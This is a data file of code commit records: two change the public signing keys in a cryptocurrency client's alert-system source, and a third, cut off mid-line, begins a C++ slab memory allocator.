{"text":"<commit_before>\/\/\n\/\/ Alert system\n\/\/\n\n#include <algorithm>\n#include <boost\/algorithm\/string\/classification.hpp>\n#include <boost\/algorithm\/string\/replace.hpp>\n#include <boost\/foreach.hpp>\n#include <map>\n\n#include \"alert.h\"\n#include \"key.h\"\n#include \"net.h\"\n#include \"sync.h\"\n#include \"ui_interface.h\"\n\nusing namespace std;\n\nmap<uint256, CAlert> mapAlerts;\nCCriticalSection cs_mapAlerts;\n\nstatic const char* pszMainKey = \"040284710fa689ad5023690c80f3a49c8f13f8d45b8c857fbcbc8bc4a8e4d3eb4b10f4d4604fa08dce601aaf0f470216fe1b51850b4acf21b179c45070ac7b03a9\";\nstatic const char* pszTestKey = \"04322390343f91cc401d56d68b123028bf52e5fca1939df127f63c6467cdf9c8e2c14b61104cf817d0b780da337893ecc4aaff1309e536162dabbdb45200ca2b0a\";\n\nvoid CUnsignedAlert::SetNull()\n{\n    nVersion = 1;\n    nRelayUntil = 0;\n    nExpiration = 0;\n    nID = 0;\n    nCancel = 0;\n    setCancel.clear();\n    nMinVer = 0;\n    nMaxVer = 0;\n    setSubVer.clear();\n    nPriority = 0;\n\n    strComment.clear();\n    strStatusBar.clear();\n    strReserved.clear();\n}\n\nstd::string CUnsignedAlert::ToString() const\n{\n    std::string strSetCancel;\n    BOOST_FOREACH(int n, setCancel)\n        strSetCancel += strprintf(\"%d \", n);\n    std::string strSetSubVer;\n    BOOST_FOREACH(std::string str, setSubVer)\n        strSetSubVer += \"\\\"\" + str + \"\\\" \";\n    return strprintf(\n        \"CAlert(\\n\"\n        \"    nVersion     = %d\\n\"\n        \"    nRelayUntil  = %\"PRI64d\"\\n\"\n        \"    nExpiration  = %\"PRI64d\"\\n\"\n        \"    nID          = %d\\n\"\n        \"    nCancel      = %d\\n\"\n        \"    setCancel    = %s\\n\"\n        \"    nMinVer      = %d\\n\"\n        \"    nMaxVer      = %d\\n\"\n        \"    setSubVer    = %s\\n\"\n        \"    nPriority    = %d\\n\"\n        \"    strComment   = \\\"%s\\\"\\n\"\n        \"    strStatusBar = \\\"%s\\\"\\n\"\n        \")\\n\",\n        nVersion,\n        nRelayUntil,\n        nExpiration,\n        nID,\n        nCancel,\n        strSetCancel.c_str(),\n        nMinVer,\n        nMaxVer,\n        strSetSubVer.c_str(),\n        nPriority,\n        strComment.c_str(),\n        strStatusBar.c_str());\n}\n\nvoid CUnsignedAlert::print() const\n{\n    printf(\"%s\", ToString().c_str());\n}\n\nvoid CAlert::SetNull()\n{\n    CUnsignedAlert::SetNull();\n    vchMsg.clear();\n    vchSig.clear();\n}\n\nbool CAlert::IsNull() const\n{\n    return (nExpiration == 0);\n}\n\nuint256 CAlert::GetHash() const\n{\n    return Hash(this->vchMsg.begin(), this->vchMsg.end());\n}\n\nbool CAlert::IsInEffect() const\n{\n    return (GetAdjustedTime() < nExpiration);\n}\n\nbool CAlert::Cancels(const CAlert& alert) const\n{\n    if (!IsInEffect())\n        return false; \/\/ this was a no-op before 31403\n    return (alert.nID <= nCancel || setCancel.count(alert.nID));\n}\n\nbool CAlert::AppliesTo(int nVersion, std::string strSubVerIn) const\n{\n    \/\/ TODO: rework for client-version-embedded-in-strSubVer ?\n    return (IsInEffect() &&\n            nMinVer <= nVersion && nVersion <= nMaxVer &&\n            (setSubVer.empty() || setSubVer.count(strSubVerIn)));\n}\n\nbool CAlert::AppliesToMe() const\n{\n    return AppliesTo(PROTOCOL_VERSION, FormatSubVersion(CLIENT_NAME, CLIENT_VERSION, std::vector<std::string>()));\n}\n\nbool CAlert::RelayTo(CNode* pnode) const\n{\n    if (!IsInEffect())\n        return false;\n    \/\/ returns true if wasn't already contained in the set\n    if (pnode->setKnown.insert(GetHash()).second)\n    {\n        if (AppliesTo(pnode->nVersion, pnode->strSubVer) ||\n            AppliesToMe() ||\n            GetAdjustedTime() < nRelayUntil)\n        {\n            pnode->PushMessage(\"alert\", *this);\n            return true;\n        }\n    }\n    return false;\n}\n\nbool CAlert::CheckSignature() const\n{\n    CPubKey key(ParseHex(fTestNet ? pszTestKey : pszMainKey));\n    if (!key.Verify(Hash(vchMsg.begin(), vchMsg.end()), vchSig))\n        return error(\"CAlert::CheckSignature() : verify signature failed\");\n\n    \/\/ Now unserialize the data\n    CDataStream sMsg(vchMsg, SER_NETWORK, PROTOCOL_VERSION);\n    sMsg >> *(CUnsignedAlert*)this;\n    return true;\n}\n\nCAlert CAlert::getAlertByHash(const uint256 &hash)\n{\n    CAlert retval;\n    {\n        LOCK(cs_mapAlerts);\n        map<uint256, CAlert>::iterator mi = mapAlerts.find(hash);\n        if(mi != mapAlerts.end())\n            retval = mi->second;\n    }\n    return retval;\n}\n\nbool CAlert::ProcessAlert(bool fThread)\n{\n    if (!CheckSignature())\n        return false;\n    if (!IsInEffect())\n        return false;\n\n    \/\/ alert.nID=max is reserved for if the alert key is\n    \/\/ compromised. It must have a pre-defined message,\n    \/\/ must never expire, must apply to all versions,\n    \/\/ and must cancel all previous\n    \/\/ alerts or it will be ignored (so an attacker can't\n    \/\/ send an \"everything is OK, don't panic\" version that\n    \/\/ cannot be overridden):\n    int maxInt = std::numeric_limits<int>::max();\n    if (nID == maxInt)\n    {\n        if (!(\n                nExpiration == maxInt &&\n                nCancel == (maxInt-1) &&\n                nMinVer == 0 &&\n                nMaxVer == maxInt &&\n                setSubVer.empty() &&\n                nPriority == maxInt &&\n                strStatusBar == \"URGENT: Alert key compromised, upgrade required\"\n                ))\n            return false;\n    }\n\n    {\n        LOCK(cs_mapAlerts);\n        \/\/ Cancel previous alerts\n        for (map<uint256, CAlert>::iterator mi = mapAlerts.begin(); mi != mapAlerts.end();)\n        {\n            const CAlert& alert = (*mi).second;\n            if (Cancels(alert))\n            {\n                printf(\"cancelling alert %d\\n\", alert.nID);\n                uiInterface.NotifyAlertChanged((*mi).first, CT_DELETED);\n                mapAlerts.erase(mi++);\n            }\n            else if (!alert.IsInEffect())\n            {\n                printf(\"expiring alert %d\\n\", alert.nID);\n                uiInterface.NotifyAlertChanged((*mi).first, CT_DELETED);\n                mapAlerts.erase(mi++);\n            }\n            else\n                mi++;\n        }\n\n        \/\/ Check if this alert has been cancelled\n        BOOST_FOREACH(PAIRTYPE(const uint256, CAlert)& item, mapAlerts)\n        {\n            const CAlert& alert = item.second;\n            if (alert.Cancels(*this))\n            {\n                printf(\"alert already cancelled by %d\\n\", alert.nID);\n                return false;\n            }\n        }\n\n        \/\/ Add to mapAlerts\n        mapAlerts.insert(make_pair(GetHash(), *this));\n        \/\/ Notify UI and -alertnotify if it applies to me\n        if(AppliesToMe())\n        {\n            uiInterface.NotifyAlertChanged(GetHash(), CT_NEW);\n            std::string strCmd = GetArg(\"-alertnotify\", \"\");\n            if (!strCmd.empty())\n            {\n                \/\/ Alert text should be plain ascii coming from a trusted source, but to\n                \/\/ be safe we first strip anything not in safeChars, then add single quotes around\n                \/\/ the whole string before passing it to the shell:\n                std::string singleQuote(\"'\");\n                std::string safeStatus = SanitizeString(strStatusBar);\n                safeStatus = singleQuote+safeStatus+singleQuote;\n                boost::replace_all(strCmd, \"%s\", safeStatus);\n\n                if (fThread)\n                    boost::thread t(runCommand, strCmd); \/\/ thread runs free\n                else\n                    runCommand(strCmd);\n            }\n        }\n    }\n\n    printf(\"accepted alert %d, AppliesToMe()=%d\\n\", nID, AppliesToMe());\n    return true;\n}\n<commit_msg>Change keys for checkpointing<commit_after>\/\/\n\/\/ Alert system\n\/\/\n\n#include <algorithm>\n#include <boost\/algorithm\/string\/classification.hpp>\n#include <boost\/algorithm\/string\/replace.hpp>\n#include <boost\/foreach.hpp>\n#include <map>\n\n#include \"alert.h\"\n#include \"key.h\"\n#include \"net.h\"\n#include \"sync.h\"\n#include \"ui_interface.h\"\n\nusing namespace std;\n\nmap<uint256, CAlert> mapAlerts;\nCCriticalSection cs_mapAlerts;\n\nstatic const char* pszMainKey = \"04a60aab3d24106d0076d7e18d01a8233973783ba83bc50c33e6a80eb118cb1f3491acb244c320c4b42106cc88274a39bb6bdd072d27d06a6370984adac1c14b3a\";\nstatic const char* pszTestKey = \"0405f43221bab8286fa392a8e37dec3b6090f980b468e6d0ff3a3f886df05895dc0c677cf6a6ec4ec35f0bbdfc2ad9ed0a9752803639e239dbfb24116cfb26ffda\";\n\nvoid CUnsignedAlert::SetNull()\n{\n    nVersion = 1;\n    nRelayUntil = 0;\n    nExpiration = 0;\n    nID = 0;\n    nCancel = 0;\n    setCancel.clear();\n    nMinVer = 0;\n    nMaxVer = 0;\n    setSubVer.clear();\n    nPriority = 0;\n\n    strComment.clear();\n    strStatusBar.clear();\n    strReserved.clear();\n}\n\nstd::string CUnsignedAlert::ToString() const\n{\n    std::string strSetCancel;\n    BOOST_FOREACH(int n, setCancel)\n        strSetCancel += strprintf(\"%d \", n);\n    std::string strSetSubVer;\n    BOOST_FOREACH(std::string str, setSubVer)\n        strSetSubVer += \"\\\"\" + str + \"\\\" \";\n    return strprintf(\n        \"CAlert(\\n\"\n        \"    nVersion     = %d\\n\"\n        \"    nRelayUntil  = %\"PRI64d\"\\n\"\n        \"    nExpiration  = %\"PRI64d\"\\n\"\n        \"    nID          = %d\\n\"\n        \"    nCancel      = %d\\n\"\n        \"    setCancel    = %s\\n\"\n        \"    nMinVer      = %d\\n\"\n        \"    nMaxVer      = %d\\n\"\n        \"    setSubVer    = %s\\n\"\n        \"    nPriority    = %d\\n\"\n        \"    strComment   = \\\"%s\\\"\\n\"\n        \"    strStatusBar = \\\"%s\\\"\\n\"\n        \")\\n\",\n        nVersion,\n        nRelayUntil,\n        nExpiration,\n        nID,\n        nCancel,\n        strSetCancel.c_str(),\n        nMinVer,\n        nMaxVer,\n        strSetSubVer.c_str(),\n        nPriority,\n        strComment.c_str(),\n        strStatusBar.c_str());\n}\n\nvoid CUnsignedAlert::print() const\n{\n    printf(\"%s\", ToString().c_str());\n}\n\nvoid CAlert::SetNull()\n{\n    CUnsignedAlert::SetNull();\n    vchMsg.clear();\n    vchSig.clear();\n}\n\nbool CAlert::IsNull() const\n{\n    return (nExpiration == 0);\n}\n\nuint256 CAlert::GetHash() const\n{\n    return Hash(this->vchMsg.begin(), this->vchMsg.end());\n}\n\nbool CAlert::IsInEffect() const\n{\n    return (GetAdjustedTime() < nExpiration);\n}\n\nbool CAlert::Cancels(const CAlert& alert) const\n{\n    if (!IsInEffect())\n        return false; \/\/ this was a no-op before 31403\n    return (alert.nID <= nCancel || setCancel.count(alert.nID));\n}\n\nbool CAlert::AppliesTo(int nVersion, std::string strSubVerIn) const\n{\n    \/\/ TODO: rework for client-version-embedded-in-strSubVer ?\n    return (IsInEffect() &&\n            nMinVer <= nVersion && nVersion <= nMaxVer &&\n            (setSubVer.empty() || setSubVer.count(strSubVerIn)));\n}\n\nbool CAlert::AppliesToMe() const\n{\n    return AppliesTo(PROTOCOL_VERSION, FormatSubVersion(CLIENT_NAME, CLIENT_VERSION, std::vector<std::string>()));\n}\n\nbool CAlert::RelayTo(CNode* pnode) const\n{\n    if (!IsInEffect())\n        return false;\n    \/\/ returns true if wasn't already contained in the set\n    if (pnode->setKnown.insert(GetHash()).second)\n    {\n        if (AppliesTo(pnode->nVersion, pnode->strSubVer) ||\n            AppliesToMe() ||\n            GetAdjustedTime() < nRelayUntil)\n        {\n            pnode->PushMessage(\"alert\", *this);\n            return true;\n        }\n    }\n    return false;\n}\n\nbool CAlert::CheckSignature() const\n{\n    CPubKey key(ParseHex(fTestNet ? pszTestKey : pszMainKey));\n    if (!key.Verify(Hash(vchMsg.begin(), vchMsg.end()), vchSig))\n        return error(\"CAlert::CheckSignature() : verify signature failed\");\n\n    \/\/ Now unserialize the data\n    CDataStream sMsg(vchMsg, SER_NETWORK, PROTOCOL_VERSION);\n    sMsg >> *(CUnsignedAlert*)this;\n    return true;\n}\n\nCAlert CAlert::getAlertByHash(const uint256 &hash)\n{\n    CAlert retval;\n    {\n        LOCK(cs_mapAlerts);\n        map<uint256, CAlert>::iterator mi = mapAlerts.find(hash);\n        if(mi != mapAlerts.end())\n            retval = mi->second;\n    }\n    return retval;\n}\n\nbool CAlert::ProcessAlert(bool fThread)\n{\n    if (!CheckSignature())\n        return false;\n    if (!IsInEffect())\n        return false;\n\n    \/\/ alert.nID=max is reserved for if the alert key is\n    \/\/ compromised. It must have a pre-defined message,\n    \/\/ must never expire, must apply to all versions,\n    \/\/ and must cancel all previous\n    \/\/ alerts or it will be ignored (so an attacker can't\n    \/\/ send an \"everything is OK, don't panic\" version that\n    \/\/ cannot be overridden):\n    int maxInt = std::numeric_limits<int>::max();\n    if (nID == maxInt)\n    {\n        if (!(\n                nExpiration == maxInt &&\n                nCancel == (maxInt-1) &&\n                nMinVer == 0 &&\n                nMaxVer == maxInt &&\n                setSubVer.empty() &&\n                nPriority == maxInt &&\n                strStatusBar == \"URGENT: Alert key compromised, upgrade required\"\n                ))\n            return false;\n    }\n\n    {\n        LOCK(cs_mapAlerts);\n        \/\/ Cancel previous alerts\n        for (map<uint256, CAlert>::iterator mi = mapAlerts.begin(); mi != mapAlerts.end();)\n        {\n            const CAlert& alert = (*mi).second;\n            if (Cancels(alert))\n            {\n                printf(\"cancelling alert %d\\n\", alert.nID);\n                uiInterface.NotifyAlertChanged((*mi).first, CT_DELETED);\n                mapAlerts.erase(mi++);\n            }\n            else if (!alert.IsInEffect())\n            {\n                printf(\"expiring alert %d\\n\", alert.nID);\n                uiInterface.NotifyAlertChanged((*mi).first, CT_DELETED);\n                mapAlerts.erase(mi++);\n            }\n            else\n                mi++;\n        }\n\n        \/\/ Check if this alert has been cancelled\n        BOOST_FOREACH(PAIRTYPE(const uint256, CAlert)& item, mapAlerts)\n        {\n            const CAlert& alert = item.second;\n            if (alert.Cancels(*this))\n            {\n                printf(\"alert already cancelled by %d\\n\", alert.nID);\n                return false;\n            }\n        }\n\n        \/\/ Add to mapAlerts\n        mapAlerts.insert(make_pair(GetHash(), *this));\n        \/\/ Notify UI and -alertnotify if it applies to me\n        if(AppliesToMe())\n        {\n            uiInterface.NotifyAlertChanged(GetHash(), CT_NEW);\n            std::string strCmd = GetArg(\"-alertnotify\", \"\");\n            if (!strCmd.empty())\n            {\n                \/\/ Alert text should be plain ascii coming from a trusted source, but to\n                \/\/ be safe we first strip anything not in safeChars, then add single quotes around\n                \/\/ the whole string before passing it to the shell:\n                std::string singleQuote(\"'\");\n                std::string safeStatus = SanitizeString(strStatusBar);\n                safeStatus = singleQuote+safeStatus+singleQuote;\n                boost::replace_all(strCmd, \"%s\", safeStatus);\n\n                if (fThread)\n                    boost::thread t(runCommand, strCmd); \/\/ thread runs free\n                else\n                    runCommand(strCmd);\n            }\n        }\n    }\n\n    printf(\"accepted alert %d, AppliesToMe()=%d\\n\", nID, AppliesToMe());\n    return true;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Alert system\n\/\/\n\n#include <boost\/foreach.hpp>\n#include <map>\n\n#include \"alert.h\"\n#include \"key.h\"\n#include \"net.h\"\n#include \"sync.h\"\n#include \"ui_interface.h\"\n\nusing namespace std;\n\nmap<uint256, CAlert> mapAlerts;\nCCriticalSection cs_mapAlerts;\n\nvoid CUnsignedAlert::SetNull()\n{\n    nVersion = 1;\n    nRelayUntil = 0;\n    nExpiration = 0;\n    nID = 0;\n    nCancel = 0;\n    setCancel.clear();\n    nMinVer = 0;\n    nMaxVer = 0;\n    setSubVer.clear();\n    nPriority = 0;\n\n    strComment.clear();\n    strStatusBar.clear();\n    strReserved.clear();\n}\n\nstd::string CUnsignedAlert::ToString() const\n{\n    std::string strSetCancel;\n    BOOST_FOREACH(int n, setCancel)\n        strSetCancel += strprintf(\"%d \", n);\n    std::string strSetSubVer;\n    BOOST_FOREACH(std::string str, setSubVer)\n        strSetSubVer += \"\\\"\" + str + \"\\\" \";\n    return strprintf(\n        \"CAlert(\\n\"\n        \"    nVersion     = %d\\n\"\n        \"    nRelayUntil  = %\"PRI64d\"\\n\"\n        \"    nExpiration  = %\"PRI64d\"\\n\"\n        \"    nID          = %d\\n\"\n        \"    nCancel      = %d\\n\"\n        \"    setCancel    = %s\\n\"\n        \"    nMinVer      = %d\\n\"\n        \"    nMaxVer      = %d\\n\"\n        \"    setSubVer    = %s\\n\"\n        \"    nPriority    = %d\\n\"\n        \"    strComment   = \\\"%s\\\"\\n\"\n        \"    strStatusBar = \\\"%s\\\"\\n\"\n        \")\\n\",\n        nVersion,\n        nRelayUntil,\n        nExpiration,\n        nID,\n        nCancel,\n        strSetCancel.c_str(),\n        nMinVer,\n        nMaxVer,\n        strSetSubVer.c_str(),\n        nPriority,\n        strComment.c_str(),\n        strStatusBar.c_str());\n}\n\nvoid CUnsignedAlert::print() const\n{\n    printf(\"%s\", ToString().c_str());\n}\n\nvoid CAlert::SetNull()\n{\n    CUnsignedAlert::SetNull();\n    vchMsg.clear();\n    vchSig.clear();\n}\n\nbool CAlert::IsNull() const\n{\n    return (nExpiration == 0);\n}\n\nuint256 CAlert::GetHash() const\n{\n    return Hash(this->vchMsg.begin(), this->vchMsg.end());\n}\n\nbool CAlert::IsInEffect() const\n{\n    return (GetAdjustedTime() < nExpiration);\n}\n\nbool CAlert::Cancels(const CAlert& alert) const\n{\n    if (!IsInEffect())\n        return false; \/\/ this was a no-op before 31403\n    return (alert.nID <= nCancel || setCancel.count(alert.nID));\n}\n\nbool CAlert::AppliesTo(int nVersion, std::string strSubVerIn) const\n{\n    \/\/ TODO: rework for client-version-embedded-in-strSubVer ?\n    return (IsInEffect() &&\n            nMinVer <= nVersion && nVersion <= nMaxVer &&\n            (setSubVer.empty() || setSubVer.count(strSubVerIn)));\n}\n\nbool CAlert::AppliesToMe() const\n{\n    return AppliesTo(PROTOCOL_VERSION, FormatSubVersion(CLIENT_NAME, CLIENT_VERSION, std::vector<std::string>()));\n}\n\nbool CAlert::RelayTo(CNode* pnode) const\n{\n    if (!IsInEffect())\n        return false;\n    \/\/ returns true if wasn't already contained in the set\n    if (pnode->setKnown.insert(GetHash()).second)\n    {\n        if (AppliesTo(pnode->nVersion, pnode->strSubVer) ||\n            AppliesToMe() ||\n            GetAdjustedTime() < nRelayUntil)\n        {\n            pnode->PushMessage(\"alert\", *this);\n            return true;\n        }\n    }\n    return false;\n}\n\nbool CAlert::CheckSignature() const\n{\n    CKey key;\n    if (!key.SetPubKey(ParseHex(\"04fc9702847840aaf195de8442ebecedf5b095cdbb9bc716bda9110971b28a49e0ead8564ff0db22209e0374782c093bb899692d524e9d6a6956e7c5ecbcd68284\")))\n        return error(\"CAlert::CheckSignature() : SetPubKey failed\");\n    if (!key.Verify(Hash(vchMsg.begin(), vchMsg.end()), vchSig))\n        return error(\"CAlert::CheckSignature() : verify signature failed\");\n\n    \/\/ Now unserialize the data\n    CDataStream sMsg(vchMsg, SER_NETWORK, PROTOCOL_VERSION);\n    sMsg >> *(CUnsignedAlert*)this;\n    return true;\n}\n\nCAlert CAlert::getAlertByHash(const uint256 &hash)\n{\n    CAlert retval;\n    {\n        LOCK(cs_mapAlerts);\n        map<uint256, CAlert>::iterator mi = mapAlerts.find(hash);\n        if(mi != mapAlerts.end())\n            retval = mi->second;\n    }\n    return retval;\n}\n\nbool CAlert::ProcessAlert()\n{\n    if (!CheckSignature())\n        return false;\n    if (!IsInEffect())\n        return false;\n\n    \/\/ alert.nID=max is reserved for if the alert key is\n    \/\/ compromised. It must have a pre-defined message,\n    \/\/ must never expire, must apply to all versions,\n    \/\/ and must cancel all previous\n    \/\/ alerts or it will be ignored (so an attacker can't\n    \/\/ send an \"everything is OK, don't panic\" version that\n    \/\/ cannot be overridden):\n    int maxInt = std::numeric_limits<int>::max();\n    if (nID == maxInt)\n    {\n        if (!(\n                nExpiration == maxInt &&\n                nCancel == (maxInt-1) &&\n                nMinVer == 0 &&\n                nMaxVer == maxInt &&\n                setSubVer.empty() &&\n                nPriority == maxInt &&\n                strStatusBar == \"URGENT: Alert key compromised, upgrade required\"\n                ))\n            return false;\n    }\n\n    {\n        LOCK(cs_mapAlerts);\n        \/\/ Cancel previous alerts\n        for (map<uint256, CAlert>::iterator mi = mapAlerts.begin(); mi != mapAlerts.end();)\n        {\n            const CAlert& alert = (*mi).second;\n            if (Cancels(alert))\n            {\n                printf(\"cancelling alert %d\\n\", alert.nID);\n                uiInterface.NotifyAlertChanged((*mi).first, CT_DELETED);\n                mapAlerts.erase(mi++);\n            }\n            else if (!alert.IsInEffect())\n            {\n                printf(\"expiring alert %d\\n\", alert.nID);\n                uiInterface.NotifyAlertChanged((*mi).first, CT_DELETED);\n                mapAlerts.erase(mi++);\n            }\n            else\n                mi++;\n        }\n\n        \/\/ Check if this alert has been cancelled\n        BOOST_FOREACH(PAIRTYPE(const uint256, CAlert)& item, mapAlerts)\n        {\n            const CAlert& alert = item.second;\n            if (alert.Cancels(*this))\n            {\n                printf(\"alert already cancelled by %d\\n\", alert.nID);\n                return false;\n            }\n        }\n\n        \/\/ Add to mapAlerts\n        mapAlerts.insert(make_pair(GetHash(), *this));\n        \/\/ Notify UI if it applies to me\n        if(AppliesToMe())\n            uiInterface.NotifyAlertChanged(GetHash(), CT_NEW);\n    }\n\n    printf(\"accepted alert %d, AppliesToMe()=%d\\n\", nID, AppliesToMe());\n    return true;\n}\n<commit_msg>Give testnet it's own alert key.<commit_after>\/\/\n\/\/ Alert system\n\/\/\n\n#include <boost\/foreach.hpp>\n#include <map>\n\n#include \"alert.h\"\n#include \"key.h\"\n#include \"net.h\"\n#include \"sync.h\"\n#include \"ui_interface.h\"\n\nusing namespace std;\n\nmap<uint256, CAlert> mapAlerts;\nCCriticalSection cs_mapAlerts;\n\nstatic const char* pszMainKey = \"04fc9702847840aaf195de8442ebecedf5b095cdbb9bc716bda9110971b28a49e0ead8564ff0db22209e0374782c093bb899692d524e9d6a6956e7c5ecbcd68284\";\nstatic const char* pszTestKey = \"04302390343f91cc401d56d68b123028bf52e5fca1939df127f63c6467cdf9c8e2c14b61104cf817d0b780da337893ecc4aaff1309e536162dabbdb45200ca2b0a\";\n\nvoid CUnsignedAlert::SetNull()\n{\n    nVersion = 1;\n    nRelayUntil = 0;\n    nExpiration = 0;\n    nID = 0;\n    nCancel = 0;\n    setCancel.clear();\n    nMinVer = 0;\n    nMaxVer = 0;\n    setSubVer.clear();\n    nPriority = 0;\n\n    strComment.clear();\n    strStatusBar.clear();\n    strReserved.clear();\n}\n\nstd::string CUnsignedAlert::ToString() const\n{\n    std::string strSetCancel;\n    BOOST_FOREACH(int n, setCancel)\n        strSetCancel += strprintf(\"%d \", n);\n    std::string strSetSubVer;\n    BOOST_FOREACH(std::string str, setSubVer)\n        strSetSubVer += \"\\\"\" + str + \"\\\" \";\n    return strprintf(\n        \"CAlert(\\n\"\n        \"    nVersion     = %d\\n\"\n        \"    nRelayUntil  = %\"PRI64d\"\\n\"\n        \"    nExpiration  = %\"PRI64d\"\\n\"\n        \"    nID          = %d\\n\"\n        \"    nCancel      = %d\\n\"\n        \"    setCancel    = %s\\n\"\n        \"    nMinVer      = %d\\n\"\n        \"    nMaxVer      = %d\\n\"\n        \"    setSubVer    = %s\\n\"\n        \"    nPriority    = %d\\n\"\n        \"    strComment   = \\\"%s\\\"\\n\"\n        \"    strStatusBar = \\\"%s\\\"\\n\"\n        \")\\n\",\n        nVersion,\n        nRelayUntil,\n        nExpiration,\n        nID,\n        nCancel,\n        strSetCancel.c_str(),\n        nMinVer,\n        nMaxVer,\n        strSetSubVer.c_str(),\n        nPriority,\n        strComment.c_str(),\n        strStatusBar.c_str());\n}\n\nvoid CUnsignedAlert::print() const\n{\n    printf(\"%s\", ToString().c_str());\n}\n\nvoid CAlert::SetNull()\n{\n    CUnsignedAlert::SetNull();\n    vchMsg.clear();\n    vchSig.clear();\n}\n\nbool CAlert::IsNull() const\n{\n    return (nExpiration == 0);\n}\n\nuint256 CAlert::GetHash() const\n{\n    return Hash(this->vchMsg.begin(), this->vchMsg.end());\n}\n\nbool CAlert::IsInEffect() const\n{\n    return (GetAdjustedTime() < nExpiration);\n}\n\nbool CAlert::Cancels(const CAlert& alert) const\n{\n    if (!IsInEffect())\n        return false; \/\/ this was a no-op before 31403\n    return (alert.nID <= nCancel || setCancel.count(alert.nID));\n}\n\nbool CAlert::AppliesTo(int nVersion, std::string strSubVerIn) const\n{\n    \/\/ TODO: rework for client-version-embedded-in-strSubVer ?\n    return (IsInEffect() &&\n            nMinVer <= nVersion && nVersion <= nMaxVer &&\n            (setSubVer.empty() || setSubVer.count(strSubVerIn)));\n}\n\nbool CAlert::AppliesToMe() const\n{\n    return AppliesTo(PROTOCOL_VERSION, FormatSubVersion(CLIENT_NAME, CLIENT_VERSION, std::vector<std::string>()));\n}\n\nbool CAlert::RelayTo(CNode* pnode) const\n{\n    if (!IsInEffect())\n        return false;\n    \/\/ returns true if wasn't already contained in the set\n    if (pnode->setKnown.insert(GetHash()).second)\n    {\n        if (AppliesTo(pnode->nVersion, pnode->strSubVer) ||\n            AppliesToMe() ||\n            GetAdjustedTime() < nRelayUntil)\n        {\n            pnode->PushMessage(\"alert\", *this);\n            return true;\n        }\n    }\n    return false;\n}\n\nbool CAlert::CheckSignature() const\n{\n    CKey key;\n    if (!key.SetPubKey(ParseHex(fTestNet ? pszTestKey : pszMainKey)))\n        return error(\"CAlert::CheckSignature() : SetPubKey failed\");\n    if (!key.Verify(Hash(vchMsg.begin(), vchMsg.end()), vchSig))\n        return error(\"CAlert::CheckSignature() : verify signature failed\");\n\n    \/\/ Now unserialize the data\n    CDataStream sMsg(vchMsg, SER_NETWORK, PROTOCOL_VERSION);\n    sMsg >> *(CUnsignedAlert*)this;\n    return true;\n}\n\nCAlert CAlert::getAlertByHash(const uint256 &hash)\n{\n    CAlert retval;\n    {\n        LOCK(cs_mapAlerts);\n        map<uint256, CAlert>::iterator mi = mapAlerts.find(hash);\n        if(mi != mapAlerts.end())\n            retval = mi->second;\n    }\n    return retval;\n}\n\nbool CAlert::ProcessAlert()\n{\n    if (!CheckSignature())\n        return false;\n    if (!IsInEffect())\n        return false;\n\n    \/\/ alert.nID=max is reserved for if the alert key is\n    \/\/ compromised. It must have a pre-defined message,\n    \/\/ must never expire, must apply to all versions,\n    \/\/ and must cancel all previous\n    \/\/ alerts or it will be ignored (so an attacker can't\n    \/\/ send an \"everything is OK, don't panic\" version that\n    \/\/ cannot be overridden):\n    int maxInt = std::numeric_limits<int>::max();\n    if (nID == maxInt)\n    {\n        if (!(\n                nExpiration == maxInt &&\n                nCancel == (maxInt-1) &&\n                nMinVer == 0 &&\n                nMaxVer == maxInt &&\n                setSubVer.empty() &&\n                nPriority == maxInt &&\n                strStatusBar == \"URGENT: Alert key compromised, upgrade required\"\n                ))\n            return false;\n    }\n\n    {\n        LOCK(cs_mapAlerts);\n        \/\/ Cancel previous alerts\n        for (map<uint256, CAlert>::iterator mi = mapAlerts.begin(); mi != mapAlerts.end();)\n        {\n            const CAlert& alert = (*mi).second;\n            if (Cancels(alert))\n            {\n                printf(\"cancelling alert %d\\n\", alert.nID);\n                uiInterface.NotifyAlertChanged((*mi).first, CT_DELETED);\n                mapAlerts.erase(mi++);\n            }\n            else if (!alert.IsInEffect())\n            {\n                printf(\"expiring alert %d\\n\", alert.nID);\n                uiInterface.NotifyAlertChanged((*mi).first, CT_DELETED);\n                mapAlerts.erase(mi++);\n            }\n            else\n                mi++;\n        }\n\n        \/\/ Check if this alert has been cancelled\n        BOOST_FOREACH(PAIRTYPE(const uint256, CAlert)& item, mapAlerts)\n        {\n            const CAlert& alert = item.second;\n            if (alert.Cancels(*this))\n            {\n                printf(\"alert already cancelled by %d\\n\", alert.nID);\n                return false;\n            }\n        }\n\n        \/\/ Add to mapAlerts\n        mapAlerts.insert(make_pair(GetHash(), *this));\n        \/\/ Notify UI if it applies to me\n        if(AppliesToMe())\n            uiInterface.NotifyAlertChanged(GetHash(), CT_NEW);\n    }\n\n    printf(\"accepted alert %d, AppliesToMe()=%d\\n\", nID, AppliesToMe());\n    return true;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"AllocSlab.h\"\n#include <assert.h>\n\nSlabAlloc::SlabAlloc() : m_shared(NULL), m_baseline(0) {}\n\nSlabAlloc::~SlabAlloc() {\n\t\/\/ Release all allocated memory\n\tfor (size_t i = 0; i < m_slabs.GetSize(); ++i) {\n\t\tvoid* p = (void*)(int)m_slabs[i].pointer;\n\t\tfree(p);\n\t}\n}\n\nMemRef SlabAlloc::Alloc(size_t size) {\n\t\/\/ Do we have a free space we can reuse?\n\tfor (size_t i = 0; i < m_freeSpace.GetSize(); ++i) {\n\t\tFreeSpace::Cursor r = m_freeSpace[i];\n\t\tif (r.size >= (int)size) {\n\t\t\tconst size_t location = (size_t)r.ref;\n\t\t\tconst size_t rest = (size_t)r.size - size;\n\n\t\t\t\/\/ Update free list\n\t\t\tif (rest == 0) m_freeSpace.DeleteRow(i);\n\t\t\telse {\n\t\t\t\tr.size = rest;\n\t\t\t\tr.ref += (unsigned int)size;\n\t\t\t}\n\n\t\t\treturn MemRef(Translate(location), location);\n\t\t}\n\t}\n\n\t\/\/ Else, allocate new slab\n\tconst size_t multible = 256 * ((size % 256) + 1);\n\tconst size_t slabsBack = m_slabs.IsEmpty() ? 0 : m_slabs.Back().offset;\n\tconst size_t doubleLast = m_slabs.IsEmpty() ? 0 :\n\t\t                                          (slabsBack - (m_slabs.GetSize() == 1) ? 0 : m_slabs[-2].offset) * 2;\n\tconst size_t newsize = multible > doubleLast ? multible : doubleLast;\n\n\t\/\/ Allocate memory \n\tvoid* slab = malloc(newsize);\n\tif (!slab) return MemRef(NULL, 0);\n\n\t\/\/ Add to slab table\n\tSlabs::Cursor s = m_slabs.Add();\n\ts.offset = 